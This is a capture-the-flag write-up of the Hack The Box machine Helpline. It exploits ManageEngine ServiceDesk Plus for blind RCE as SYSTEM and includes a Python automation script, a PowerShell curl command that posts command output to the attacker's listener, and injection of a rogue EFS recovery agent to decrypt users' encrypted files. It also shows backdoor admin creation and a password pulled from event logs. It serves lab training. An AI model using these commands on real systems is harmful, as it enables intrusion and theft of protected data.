Helpline @ hackthebox: Injecting an EFS Recovery Agent to Read Encrypted Files

Another great machine has been retired on – Helpline by @egre55!

Here is my ‘silly’ unintended way to root the box: You can get both the encrypted user and root flag via the cumbersome web RCE alone – if you wait for a legit user to just look at the file. This is unlikely with the new hackthebox ‘on demand’ boxes for VIP users, but it may be more relevant in real live where actual users are reading their documents!


The helpdesk web application on Helpline is vulnerable, and you get admin access using a published exploit. You get super excited when you notice you can execute shell commands as SYSTEM. But then you try to read the flags and fail – because both are encrypted using Microsoft’s Encrypting File System. Using hints and breadcrumbs you can obtain credentials to logon as the user tolu and the Administrator. I outline this method at the end, because I needed to ‘simulate’ a second user that looks at the flags.

SYSTEM can import a prepared key and certificate for an EFS recovery agent, as well as add the registry keys equivalent to an EFS (Group) Policy.This agent can decrypt every on the computers to whom this policy has been applied; the symmetric File Encryption Key is provided more than once: encrypted for the owner as well as for the agent.

The recovery settings for individual files ‘kick in’ if another user with a proper EFS certificate and key touches the file. After that, SYSTEM can also read it by decrypting it with my recovery agent key.

This blog post focuses on the ‘EFS hack’. I also wanted to make my life as hard as possible and use only the blind web RCE as SYSTEM – automating it to get output via ‘powershell curl’. Of course, SYSTEM can create an admin user and get a psexec shell because SMB is available – which I used in my ‘simulations’ of ‘legit users’, outlined at the end.

Outline of the hack and contents

Enumerating and getting Remote Code Execution as SYSTEM
Spotting the encrypted flags
Automating RCE and getting output via Powershell curl
Prepare key and certificate files for a recovery agent
Create a recovery policy on a test box to prepare an EFS registry key
The plan – and things that should not work
Import EFS (RSA) key and EFS registry on the box
Waiting for the legit user and reading the flags
Appendix 1: Simulating the user tolu – summary
Appendix 2: Simulating the Administrator – summary

Enumerating and getting Remote Code Execution as SYSTEM [>> Contents]

The following TCP ports are open – for the ‘EFS hack’ I am only using port 8080:

  • 135 – Windows RPC Endpoint Mapper.
  • 445 – SMB. Using the intended (?) way I create myself another admin user and ran  psexec admins shell.
  • 5985 – Powershell Remote Management, WinRM.
  • 8080 – Vulnerable Web Application ManageEngine ServiceDesk Plus.
  • 49667 – RPC High Port.
Nmap scan report for
Host is up (0.033s latency).

135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp  open  http-proxy    -
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Set-Cookie: JSESSIONID=C92480E0FB60CE760F2A42A5DCFDC339; Path=/; HttpOnly
|     Cache-Control: private
|     Expires: Thu, 01 Jan 1970 01:00:00 GMT
|     Content-Type: text/html;charset=UTF-8
|     Vary: Accept-Encoding
|     Date: Tue, 16 Apr 2019 17:02:57 GMT
|     Connection: close
|     Server: -
|     /scripts/Login.js?9309
|     /scripts/jquery-1.8.3.min.js
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Set-Cookie: JSESSIONID=09E989E05071F5A9ABBF028D4937D635; Path=/; HttpOnly
|     Cache-Control: private
|     Expires: Thu, 01 Jan 1970 01:00:00 GMT
|     Content-Type: text/html;charset=UTF-8
|     Vary: Accept-Encoding
|     Date: Tue, 16 Apr 2019 17:02:58 GMT
|     Connection: close
|     Server: -
|     /scripts/Login.js?9309
|     /scripts/jquery-1.8.3.min.js 
|_http-server-header: -
|_http-title: ManageEngine ServiceDesk Plus
49667/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
SF::\x20close\r\nServer:\x20-\r\n\r\n\n\n\n< SF:meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\n\n\n\
SF:x20\x20<link\x20href=\"/style/loginstyle\.css\?9309\"\x20type=\"text/cs SF:s\"\x20rel=\"stylesheet\"/>\n\x20\x20\x20\x20<link\x20href=\"/style/new SF:-classes\.css\?9309\"\x20type=\"text/css\"\x20rel=\"stylesheet\">\n\x20
SF:\x20\x20\x20<link\x20href=\"/style/new-classes-sdp\.css\?9309\"\x20type SF:=\"text/css\"\x20rel=\"stylesheet\">\n\x20\x20\x20\x20<link\x20href=\"/ SF:style/conflict-fix\.css\?9309\"\x20type=\"text/css\"\x20rel=\"styleshee SF:t\">")%r(HTTPOptions,25D6,"HTTP/1\.1\x20200\x20OK\r\nSet-Cookie:\x20JSE
SF:\nConnection:\x20close\r\nServer:\x20-\r\n\r\n\n\n\n<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge SF:\">\n\n\n\n\r\n\n\x20\x20\x20\x20\n\x2
SF:0\n\x20\x20\x20\x20<link\x20href=\"/style/loginstyle\.css\?9309\"\x20ty SF:pe=\"text/css\"\x20rel=\"stylesheet\"/>\n\x20\x20\x20\x20<link\x20href= SF:\"/style/new-classes\.css\?9309\"\x20type=\"text/css\"\x20rel=\"stylesh SF:eet\">\n\x20\x20\x20\x20<link\x20href=\"/style/new-classes-sdp\.css\?93 SF:09\"\x20type=\"text/css\"\x20rel=\"stylesheet\">\n\x20\x20\x20\x20");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -59m56s, deviation: 0s, median: -59m56s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-04-16 19:04:31
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 141.48 seconds

The web application on port 8080, ManageEngine, is a helpdesk portal. Googling give you the default credentials – guest:guest, and you can poke around, find service tickets and potential other credentials in a ‘PasswordAudit’ Excel sheet.

The Excel file contains a hidden worksheet that you can unhide with VBA (like this), but I finally could not use these credentials for anything.

I find different exploits for ManageEngine – this one that works right away:

The script outputs the cookies to be used in your session; adding them to a browser logs you on as an administrator context.

As many of these system management portals, there is a way to get code execution legitimately – I used Custom Triggers. To get command execution from this blind RCE I use my Powershell curl method, inserting the output of commands into HTTP POST data.

My manual workflow:

Create the cookies using the exploit script and copy them into Firefox. Typical script output:

Go to the custom trigger page at:

Create a trigger for my curl command:
cmd /c powershell -c curl -method POST -body $(whoami)

A trigger reacts to an helpdesk ticket / request being created; I pick a criteria of Category = General.

Switch to the tab / category requests and create a new incident in the category general:

Starting a listener on the port specified in the curl command. Briefly after the request has been saved, a call is received (I used the hostname euservicedesk as a test – not required):

nc -lvp 80
nc: listening on :: 80 ...
nc: listening on 80 ...
nc: connect to 80 from euservicedesk ( 51478 [51478]
POST /test HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.134
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive

nt authority\system

To run subsequent commands:

  • Edit the definition of the trigger.
  • Restart the listener.
  • Re-create the Request by replaying the last POST with Burp, at:
    POST / HTTP/1.1
    (I did not manage to trigger the command if I only edited the request even if I configured the trigger to react to editing as well as creating requests)

Spotting the encrypted flags [>> Contents]

As SYSTEM you can read basically anything on the disk (running type over the curl RCE), with the exception of a few interesting files in the users’ profiles :-) Running cipher confirms my suspision that the files are encrypted – as the permissions are OK:

Administrator’s flag:

cmd /c powershell -c curl -method POST -body $(cmd /c icacls C:\Users\Administrator\Desktop\root.txt)
C:\Users\Administrator\Desktop\root.txt NT AUTHORITY\SYSTEM:(RX)                                         HELPLINE\Administrator:(RX)                                         BUILTIN\Administrators:(RX)  Successfully processed 1 files; Failed processing 0 files
cmd /c powershell -c curl -method POST -body $(cmd /c cipher C:\Users\Administrator\Desktop)
  Listing C:\Users\Administrator\Desktop\  New files added to this directory will not be encrypted.  E root.txt

Same for tolu:

cmd /c powershell -c curl -method POST -body $(cmd /c cipher C:\Users\tolu\Desktop)
  Listing C:\Users\tolu\Desktop\  New files added to this directory will not be encrypted.  E user.txt

Automating RCE and getting output via Powershell curl [>> Contents]

To make command execution less painful, I tried to ‘reverse engineer’ the actual HTTP POST commands, and run a web server that is capable to deal with POSTs (python SimpleHTTPServer is not).

I create, using this script: (see also the comment related how to deal with the post data) and changing the handler for POST:

import cgi
    def do_POST(self):
        form = cgi.FieldStorage(
            environ={'REQUEST_METHOD': 'POST'}
        print '==== Command output:'
        print form.getvalue("output")
        print '======================================================================'

The exploit script uses curl though it is written in python, but I just changed the output to a dictionary to be re-used: = the script from except…

cookies = {}
# print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m")
# print("JSESSIONID=" + sessidhigh)
# print("JSESSIONIDSSO=" + sessidssohigh)
# print(grbl2[0] + "=" + grbl2[1])
# print(grbl2[2] + "=" + grbl2[3])
# print("_rem=true")

from pprint import pprint

def getcookies():
    global sessidhigh
    global sessidssohigh
    global grbl2
    cookies["JSESSIONID"] = sessidhigh
    cookies["JSESSIONIDSSO"] = sessidssohigh
    cookies[grbl2[0]] = grbl2[1]
    cookies[grbl2[2]] = grbl2[3]
    cookies["_rem"] = "true"
    print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m")
    # pprint(cookies)
    return cookies

The actual script for running a command,

In order to run a command ‘blindly’ I prefix a command with b. This is useful if nesting of quotes / special characters gets tricky, and I am not interested in the output anyway – so that curl might potentially just break something. (I do this since my pseudo-shell for Ethereal: Allow either full shell commands or special shortcuts to commands I use often, via prefixes).

import authbypass
import requests
from pprint import pprint
import re
import sys

myip = ''
baseurl = ''
# Test with Burp - additional local forwarder
# baseurl = ''
debug = False

def debughttp(response):
    if debug:
        print '======================================================================'
        print response.status_code
        print response.text
        print '======================================================================'
        raw_input('Press ENTER to continue!')
def createfullcmd(cmd, blind=False):
    if blind == False:
        # Escape double quotes twice: 1) ManageDesk has them escaped per default --> 2) Escape also here in Python
        fullcmd = 'cmd /c powershell -c curl ' + myip + '/test -method POST -body \\"output=$(' + cmd + ')\\"'
        fullcmd = 'cmd /c ' + cmd
    return fullcmd
def getactionid(cookies, triggername):
    url = baseurl + '/'
    r = requests.get(url, cookies=cookies)
    # Sample response:
    # {"ACTIIONS":[{"ACTIONID":6,"ACTION_NAME":"Test123","DESCRIPTION":"","ISENABLED":true,"ISCASCADE":true,"QUERYID":310,"criteria":[{"comp":"and","selcrit":"10","selcon":"3","values":"1","critTxt":"General"}],"SELECTCRIT":"Category is<\/span> (General)<\/span>","TRIGGERID":3,"TIMETOEXECUTE":1,"EXECUTORTYPE":"script","EXECUTOR":"pwd"},{"ACTIONID":7,"ACTION_NAME":"Test456","DESCRIPTION":"","ISENABLED":true,"ISCASCADE":true,"QUERYID":309,"criteria":[{"comp":"and","selcrit":"10","selcon":"3","values":"1","critTxt":"General"}],"SELECTCRIT":"Category is<\/span> (General)<\/span>","TRIGGERID":1,"TIMETOEXECUTE":1,"EXECUTORTYPE":"script","EXECUTOR":"whoami"}]}
    find_id = re.findall('"ACTIONID"\:(\d*),"ACTION_NAME"\:"' + triggername + '"', r.text)
    if len(find_id) == 0:
        print '[-] ID for trigger ' + triggername + ' not found!'
        actionid = None
        actionid = find_id[0]
        print '[+] ID for trigger ' + triggername + ' is ' + str(actionid)
    return actionid

def edittrigger(cookies, triggername, cmd, actionid=None, blind=False):
    fullcmd = createfullcmd(cmd, blind)
    if actionid is None:
        # Create new trigger
        url = baseurl + '/'
        # Edit existing trigger
        url = baseurl + '/' + str(actionid)
    # "trigger": "3" --> create and edit request 
    # "trigger": "3" --> create request  
    #  Open: Did not manage to trigger the action by editing request, even with the GUI 
    items_template = '{"details": [{"name": "' + triggername + '", "desc": "", "trigger": "3", "executiontime": "1", "cascade": true}], "criteria": [{"selcrit": "10", "selcon": "3", "comp": "and", "values": "1"}], "action": [{"exe_type": "script", "executor": "CMDTEMPLATE"}]}'
    items = items_template.replace('CMDTEMPLATE', fullcmd)
    data = { 'items' : items }
    r =, cookies=cookies, data=data)
    print '[+] Trigger ' + triggername + ' has been configured with command: '
    print '    ' + fullcmd
def createrequest(cookies):
    # A new request with the same name is created for every command.
    url = baseurl + '/'
    # onHoldSet1=&date1%40%40%401=&selectedStatus%40%40%401=&onHoldComments%40%40%401=&linkService=null&createServiceComment=null&linkWorkOrderId=null&requesterName_WO=null&requestServiceId=&reqTemplate=4&templateSite=&FROM=INLINE&status=1&modeID=0&level=0&priority=0&reqID=&reqName=Test2_reqName&group=0&technician=0&incidentService=0&category=1&subCategory=0&item=0&emailCC=&title=Test2_title1&description=%3Cbr%3E&MOD_IND=WorkOrder&FORMNAME=WorkOrderForm&resourcesInfo=&resourceModified=false&resolution=+&addWO=addWO
    data = {
        'onHoldSet1=&date1@@@1=&selectedStatus@@@1' : '',
        'onHoldComments@@@1' : '',
        'linkService' : 'null',
        'createServiceComment' : 'null',
        'linkWorkOrderId' : 'null',
        'requesterName_WO' : 'null',
        'requestServiceId' : '',
        'reqTemplate' : '4',
        'templateSite' : '',
        'FROM' : 'INLINE',
        'status' : '1',
        'modeID' : '0',
        'level' : '0',
        'priority' : '0',
        'reqID' : '',
        'reqName' : requestname,
        'group' : '0',
        'technician' : '0',
        'incidentService' : '0',
        'category' : '1',
        'subCategory' : '0',
        'item' : '0',
        'emailCC' : '',
        'title' : requesttitle,
        'description' : '
        'MOD_IND' : 'WorkOrder',
        'FORMNAME' : 'WorkOrderForm',
        'resourcesInfo' : ',',
        'resourceModified' : 'false,',
        'resolution' : ' ,',
        'addWO' : 'addWO'
    r =, cookies=cookies, data=data)
    print '[+] Request has been (re-)created to trigger the action.'

def getrequestid(requestname):
    url = baseurl + '/'
    return requestid

def deleterequest(cookies, requestname):
    requestid = getrequestid(requestname)
    url = baseurl + '/' + str(requestid)
    r = requests.get(url, cookies=cookies)

cookies = authbypass.getcookies()
if cookies != {}:
    print '[+] Cookies created by authentication bypass exploit:'

print '======================================================================'

triggername = 'Trigger_Test_111'
requestname = 'Name_111'
requesttitle = 'Title_111'

testcmd = 'whoami'
print '[*] Trigger is being tested with test command: ' + testcmd
edittrigger(cookies, triggername, testcmd)
actionid = getactionid(cookies, triggername)

raw_input('[!] Press ENTER to continue - enter commands!')

print '======================================================================'
print '[!] Note: Backslashes must be escaped with another backslash!'

while True:
    cmd = raw_input('> ')
    if cmd[0:1] == 'Q':
    elif cmd[0:2] == 'b ':
        blind = True
        cmd = cmd[2:]
        blind = False
    edittrigger(cookies, triggername, cmd, actionid, blind=blind)

There are issues with too many special characters, e.g. when redirecting stderr to stdin. However, you can always get errors back by 1) Running the command blindly – with b – and outputting to a local file, and 2) Reading the file with type over the RCE.

Prepare key and certificate file for a recovery agent [>> Contents]

… using the cipher tool on a Windows test box. This is a self-signed X.509 certificate including the Extended Key Usage for File Recovery. The corresponding RSA key pair is used for encrypting and decrypting the symmetric File Encryption Key.

Though the common name in the certificate should not matter, I start a system shell as SYSTEM ‘for fun’ using

psexec -i -s cmd

In the SYSTEM shell, I create a new recovery agent certificate and key. The CER contains only the certificate and the PFX file (PKCS#12) key and the certificate. For the EFS hack I will only need the PFX file on the target box, but I will need the CER file to create my ‘malicious test registry key’.

cipher /R:agent_sys

Please type in the password to protect your .PFX file:
Please retype the password to confirm:

Your .CER file was created successfully.
Your .PFX file was created successfully.

Test the password and check the certificate contents:

certutil agent_sys.PFX

Enter PFX password:
================ Certificate 0 ================
================ Begin Nesting Level 1 ================
Element 0:
Serial Number: 61ff1b7d275e028e4b46de447521fe0b
Issuer: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM
 NotBefore: 11.05.2019 23:42
 NotAfter: 17.04.2119 23:42
Subject: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM
Signature matches Public Key
Root Certificate: Subject matches Issuer
Cert Hash(sha1): 2ec203ee87660afb5be0e2b7f099dccdf80e535e
----------------  End Nesting Level 1  ----------------
  Provider = Microsoft Enhanced Cryptographic Provider v1.0
Encryption test passed
CertUtil: -dump command completed successfully.

Create a recovery policy on a test box to prepare an EFS registry key [>> Contents]

In a Windows domain you would create an EFS Group Policy (for computers) containing the certificate of the Recovery Agent. All computers in OUs to which that GPO is applied will implement the agent

The symmetric file encryption key that is used to encrypt the file is then encrypted twice – once for the user and once for the agent. Both can decrypt the file independently from each other.

After the policy has been updated the agent is ‘active’ and will be added to every file that is going to be encrypted from now on. The agent will also be added to existing encrypted files, but only if a user with a decryption certificate ‘touches’ the file by at least reading it!

EFS Policies, once ‘downloaded’, are basically registry keys, so you can inject a recovery agent by modifying the registry key that holds an EFS policy. I create a policy on a test Windows machine using the CER file obtained before, search the registry, and export the (hopefully) relevant part of the registry key. This will be injected into Helpline’s registry.

The name of the …EFS\certificates registry key is the thumbprint of that certificate, the blob is a data structure related to the number of agents ( and metadata like the SID of the user (

Dump of my test key:

Windows Registry Editor Version 5.00






The plan – and things that should not work [>> Contents]

Using the RCE, I can download the exported EFS registry key and and the PFX file to Helpline. I will then

  • import certificate and key to SYSTEM’s ‘user’s’ certificate store (not to the machine store – SYSTEM acts like a user here!) using certutil -importpfx
  • and import the registry key using req query.

If tolu or the Administrator (= a HTB player using the intended way) look at their flags, the files should ‘pick up’ the agents – which can be checked with cipher.

What sounds simpler, but does not work …

Reset the owners’ passwords and logon using psexec (you need to make tolu a member of Administrator for that). On a stand-alone, non-domain joined machine, users are not able to access their own EFS-protected files if a local Administrator resets their password – the reset breaks something about DPAPI! This does only work in a domain! This warning is there for a reason (screenshot from a Windows 10 test machine):

(Note that using the original password you would use CredSSP authentication with WinRM as DPAPI cannot be used unless CredSSP authentication is enabled and you need DPAPI to decrypt the key).

Simply ‘EFS-share’ the file. You can ‘add another user’ = their certificate to your EFS-encrypted file with cipher:

    /ADDUSER  Adds a user to the specified encrypted file(s). If CERTHASH is
              provided, cipher will search for a certificate with this SHA1
              hash. If CERTFILE is provided, cipher will extract the
              certificate from the file. If USER is provided, cipher will
              try to locate the user's certificate in Active Directory Domain

However, to do that you need to have access to the file … which SYSTEM does not have … yet!.

Import EFS (RSA) key and EFS registry data on the box [>> Contents]

I run these attack commands, run one after other the other using

mkdir C:\\Windows\\system32\\agent33

REM BLIND: Download agent key and certificate
b curl --output C:\\Windows\\system32\\agent33\\agent_sys.PFX

REM BLIND Registry file
b curl --output C:\\Windows\\system32\\agent33\\EFS.reg

REM Check downloads
cmd /c dir C:\\Windows\\system32\\agent33

REM BLIND  Import certificate and key, check result. 
b certutil -q -importpfx -user -p test C:\\Windows\\system32\\agent33\\agent_sys.PFX
REM Check result.
certutil -store -user my

REM Import registry file and check result
regedit /S C:\\Windows\\system32\\agent33\\EFS.reg
reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\EFS

REM Check the EFS status the flags and try to read them
REM To be repeated when the 'legit' owner has read the flag.
cipher /C C:\\Users\\tolu\\Desktop\\user.txt
type C:\\Users\\tolu\\Desktop\\user.txt

Relevant snippets of output I see at my simple web server:

Here is the output of certutil -store -user my – my evil agent has been imported!

====================================================================== - - [28/Jun/2019 21:54:15] "POST /test HTTP/1.1" 200 -
==== Command output:
my "Personal" ================ Certificate 0 ================ Serial Number: 61ff1b7d275e028e4b46de447521fe0b Issuer: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM  NotBefore: 5/11/2019 10:42 PM  NotAfter: 4/17/2119 10:42 PM Subject: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM Signature matches Public Key Root Certificate: Subject matches Issuer Cert Hash(sha1): 2ec203ee87660afb5be0e2b7f099dccdf80e535e   Key Container = 4b0e7a7f-b4f0-498e-a061-396f66b86cb4   Unique container name: e5a52c4fb5917c5ec7ddb72e090c0795_86f90bf3-9d4c-47b0-bc79-380521b14c85   Provider = Microsoft Enhanced Cryptographic Provider v1.0 Encryption test passed CertUtil: -store command completed successfully.

Output of reg query – EFS data are there!

====================================================================== - - [28/Jun/2019 21:56:21] "POST /test HTTP/1.1" 200 -
==== Command output:
 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS     EFSBlob    REG_BINARY    010001000100000098030000940300000000000002000000780300001C0000000000000000000000308203743082025CA003020102021061FF1B7D275E028E4B46DE447521FE0B300D06092A864886F70D01010505003049310F300D0603550403130653595354454D310C300A0603550407130345465331283026060355040B131F4546532046696C6520456E6372797074696F6E2043657274696669636174653020170D3139303531313231343234395A180F32313139303431373231343234395A3049310F300D0603550403130653595354454D310C300A0603550407130345465331283026060355040B131F4546532046696C6520456E6372797074696F6E20436572746966696361746530820122300D06092A864886F70D01010105000382010F003082010A0282010100D6A0849939584E902E8CD9A095517B71B7B654CA32D471E69EBBD14802F079C79E28226D80EC5C1E0572FD38900472D2A7C90C20C6FD984840B2BBA428CBC0E7558DB701B90CDC722D7EE61A1F38CBA66401D32853DACA2A533DAA727903C089D9266DD2B1F2126742578729ABB8095CC16FBE2C822FB1D84A155969B1369DB9D8DDA9A087540E73443506065940E2338F3AD500BF35D313AE5BA275BA28FE411185F72E1761975472A3F75890288A60752662E0372F079E3D643833D49A9190F05AADAAC8482B88B5B03E55067B0A5ACA4911E4874AFFC23FE85D2F539919179DFE61E8B94CCC829E327F554E77F2428CBE3E59763F3D6F80D722CA1EE7392D0203010001A356305430160603551D25040F300D060B2B0601040182370A030401302F0603551D1104283026A024060A2B060104018237140203A0160C1453595354454D404E5420415554484F524954590030090603551D1304023000300D06092A864886F70D01010505000382010100BE37835ED64AFFCE913ADD80A18A6666961B13FCBF74999417E777F48012F448489A93AAD62203A92382570C2D74843875BA763FC438972E3E1F4C5EAFAB8B311ACCA327938942E93C8B9A088D143C62AD3DBA9D3C8806A3B8B65FF55F2ABBBB86F69B53DB9EF514799BCFA9D9C51B8ED0582552C233093EA0D6870E12B583AB32B058B71505EC035534360D5A6EEF6E3076F68B6AFE13DEE903E5C7C3C6A78EF79C029F8552A97FDE0FDC1C55745A9F9418A8EAFDDF0A507336E5BDF5287737BCF94FFE1220490F10092210B61E37E14F98C6F7B3BEC7B1774FE2842CB7C968D22E233CF25F0B220A84BEC6CA678446A74E0A276B0217D4672C6743AB9BCA33  HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\CTLs

Waiting for the legit and reading the flags [>> Contents]

Output of cipher before the user has looked at the flag – The file is encrypted, and there is no agent ‘attached’ to it.

====================================================================== - - [28/Jun/2019 21:57:44] "POST /test HTTP/1.1" 200 -
==== Command output:
  Listing C:\Users\tolu\Desktop\  New files added to this directory will not be encrypted.  E user.txt   Compatibility Level:     Windows XP/Server 2003    Users who can decrypt:     HELPLINE\tolu [tolu(tolu@HELPLINE)]     Certificate thumbprint: 91EF 5D08 D1F7 C60A A0E4 CEE7 3E05 0639 A669 2F29     No recovery certificate found.    Key information cannot be retrieved.  

Output of type user.txt before the user has looked at the flag – nothing as I do not redirect error out.

====================================================================== - - [28/Jun/2019 21:58:06] "POST /test HTTP/1.1" 200 -
==== Command output:

Output of cipher after the legit user (see ‘Simulation’ at the end) has looked at the flag = read it using type. Now my evil SYSTEM agent has been added!

====================================================================== - - [28/Jun/2019 22:08:50] "POST /test HTTP/1.1" 200 -
==== Command output:
  Listing C:\Users\tolu\Desktop\  New files added to this directory will not be encrypted.  E user.txt   Compatibility Level:     Windows XP/Server 2003    Users who can decrypt:     HELPLINE\tolu [tolu(tolu@HELPLINE)]     Certificate thumbprint: 91EF 5D08 D1F7 C60A A0E4 CEE7 3E05 0639 A669 2F29     Recovery Certificates:     SYSTEM(SYSTEM@NT AUTHORITY)     Certificate thumbprint: 2EC2 03EE 8766 0AFB 5BE0 E2B7 F099 DCCD F80E 535E     Key Information:     Algorithm: AES     Key Length: 256     Key Entropy: 256 

Output of type user.txt after the user has looked at the flag – it’s readable now!  \o/

====================================================================== - - [28/Jun/2019 22:11:18] "POST /test HTTP/1.1" 200 -
==== Command output:

Same procedure for the admin’s flag:

Output of cipher before the Administrator has looked at the flag:

====================================================================== - - [28/Jun/2019 22:19:31] "POST /test HTTP/1.1" 200 -
==== Command output:
  Listing C:\Users\Administrator\Desktop\  New files added to this directory will not be encrypted.  E root.txt   Compatibility Level:     Windows XP/Server 2003    Users who can decrypt:     HELPLINE\Administrator [Administrator(Administrator@HELPLINE)]     Certificate thumbprint: FB15 4575 993A 250F E826 DBAC 79EF 26C2 11CB 77B3     No recovery certificate found.    Key information cannot be retrieved.  

Output of type root.txt before the Administrator has looked at the flag

====================================================================== - - [28/Jun/2019 22:17:04] "POST /test HTTP/1.1" 200 -
==== Command output:

Output of cipher after the Administrator has looked at the flag

====================================================================== - - [28/Jun/2019 22:20:58] "POST /test HTTP/1.1" 200 -
==== Command output:
  Listing C:\Users\Administrator\Desktop\  New files added to this directory will not be encrypted.  E root.txt   Compatibility Level:     Windows XP/Server 2003    Users who can decrypt:     HELPLINE\Administrator [Administrator(Administrator@HELPLINE)]     Certificate thumbprint: FB15 4575 993A 250F E826 DBAC 79EF 26C2 11CB 77B3     Recovery Certificates:     SYSTEM(SYSTEM@NT AUTHORITY)     Certificate thumbprint: 2EC2 03EE 8766 0AFB 5BE0 E2B7 F099 DCCD F80E 535E     Key Information:     Algorithm: AES     Key Length: 256     Key Entropy: 256 

Output of type root.txt after the Administrator has looked at the flag

====================================================================== - - [28/Jun/2019 22:22:19] "POST /test HTTP/1.1" 200 -
==== Command output:

Appendix 1: Simulating the user tolu – ‘brief’ summary [>> Contents]

I owned the Administrator long before the user, but it does not seem to matter which one you own first.
In either case, I used the SYSTEM web RCE to create a new user and make them member of Administrators:

net user test1 Password1! /add
net localgroup Administrators test1 /add

Then I run a psexec shell as this user. I use the original Windows psexec tool so I am socat-ing port 445 from Kali to Windows for that.

On Kali:

socat TCP-LISTEN:445,fork TCP: &

On Windows:

psexec \\helpline -user helpline\test1 -p Password1! cmd

Enumerating, file system, registry, settings, tasks, and services to death for weeks I find more passwords and user names in files and in ‘service tickets

  • The PasswordAudit.xlsx seen at the beginning.
  • User names in a JSON dump of the app:
  • FTP creds for ‘Alpha First Bank’ from a service ticket (in the web app)
  • Creds of potential admins in C:\Temp\Password Audit\it_logins.txt
  • User names and e-mail addresses by directly checking out the users in the web app, like luis_21465 /
  • A service related to a password reset (to Megabank1)
  • Windows userse list from net users.

I try to test / brute-force both SMB and WinRMwith combinations of these. Using information from the  it_logins.txt I can logon as the user alice over WinRM but I am not able to escape Powershell constrained language mode.

But finally finally finally I found tolu’s password in the Event Log – using this chain of breadcrumbs:

Any unusual services? postgres! (used by the ServiceDesk app)


Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        156 K
Registry                        88 Services                   0    126,156 K
smss.exe                       300 Services                   0      1,232 K
csrss.exe                      384 Services                   0      5,284 K
csrss.exe                      456 Console                    1      4,936 K
wininit.exe                    476 Services                   0      6,680 K
winlogon.exe                   552 Console                    1     12,628 K
services.exe                   588 Services                   0      9,772 K
lsass.exe                      604 Services                   0     18,316 K
svchost.exe                    704 Services                   0      3,708 K
conhost.exe                    884 Console                    1     20,028 K
svchost.exe                   3932 Services                   0     18,208 K
svchost.exe                    292 Services                   0     15,636 K
conhost.exe                   5716 Services                   0     10,604 K
cmd.exe                       3028 Services                   0      4,408 K
postgres.exe                  1884 Services                   0     11,660 K
postgres.exe                  5872 Services                   0      6,080 K
postgres.exe                  1092 Services                   0      8,200 K
postgres.exe                  1160 Services                   0      6,716 K
postgres.exe                  6104 Services                   0      6,336 K
postgres.exe                  6092 Services                   0      7,824 K
postgres.exe                  6100 Services                   0      6,076 K
postgres.exe                  6084 Services                   0      6,676 K
svchost.exe                    752 Services                   0      7,564 K
svchost.exe                   3612 Services                   0      8,836 K
svchost.exe                    464 Services                   0      5,820 K
postgres.exe                  4484 Services                   0     17,880 K
postgres.exe                  4660 Services                   0     19,312 K
postgres.exe                  1376 Services                   0     13,948 K

There are several users, with different admin capabilities. zachary is an Event Log Reader:

C:\Windows\system32>net user zachary
User name                    zachary
Full Name                    zachary
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/21/2018 10:25:34 PM
Password expires             Never
Password changeable          12/21/2018 10:25:34 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   12/28/2018 10:57:32 PM

Logon hours allowed          All

Local Group Memberships      *Event Log Readers    *Users
Global Group memberships     *None
The command completed successfully.

Based on this stackoverflow post – – I dumped the Event Logs like:

powershell -c "Get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object TimeCreated,@{name='NewProcessName';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={ $_.Properties[8].Value }} | Out-file evt.txt"

I did not search them directly as there was some maximum charcter limit or other glitch with the PS command within the psexec shell, so I rather started exploring the txt file in a second shell while is was still being dumped.

Searching for ‘tolu’ I finally found it

C:\Windows\system32>find /I "tolu" evt.txt

---------- EVT.TXT
1/15/2019 12:18:42 AM                  tolu
1/1/2019 11:56:30 PM                   tolu
12/29/2018 9:20:44 PM                  tolu                                    2
12/29/2018 9:20:44 PM                  tolu                            localhost
12/28/2018 10:40:2... ...m32\systeminfo.exe .../USER:tolu /P !zaq1234567890pl!99
12/28/2018 10:37:3...                  tolu                                    3
12/28/2018 10:37:3...                  tolu                             HELPLINE
12/28/2018 10:37:3... ...s\System32\net.exe ...ts /USER:tolu !zaq1234567890pl!99

As with the test user before, I made tolu an admin (Yeah, not very ‘stealthy’!), then started a psexec shell und typed the flag. This was the procedure I used to ‘look at the file as a legit user’ in order to ‘let the Recovery Agent kick in’:


net localgroup Administrators tolu /add

On Windows, over socat:

